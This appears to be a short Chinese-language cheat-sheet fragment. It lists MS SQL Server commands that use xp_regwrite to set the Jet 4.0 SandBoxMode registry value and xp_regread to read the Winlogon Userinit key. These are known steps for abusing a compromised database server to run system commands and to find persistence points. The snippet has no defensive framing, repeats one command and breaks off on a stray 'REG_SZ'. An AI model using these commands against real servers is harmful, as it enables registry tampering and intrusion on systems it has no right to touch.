首先開啟沙盤模式：

　　exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',1

　　讀注冊表

　　exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon','Userinit'

　　寫注冊表

　　exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',1

　　REG_SZ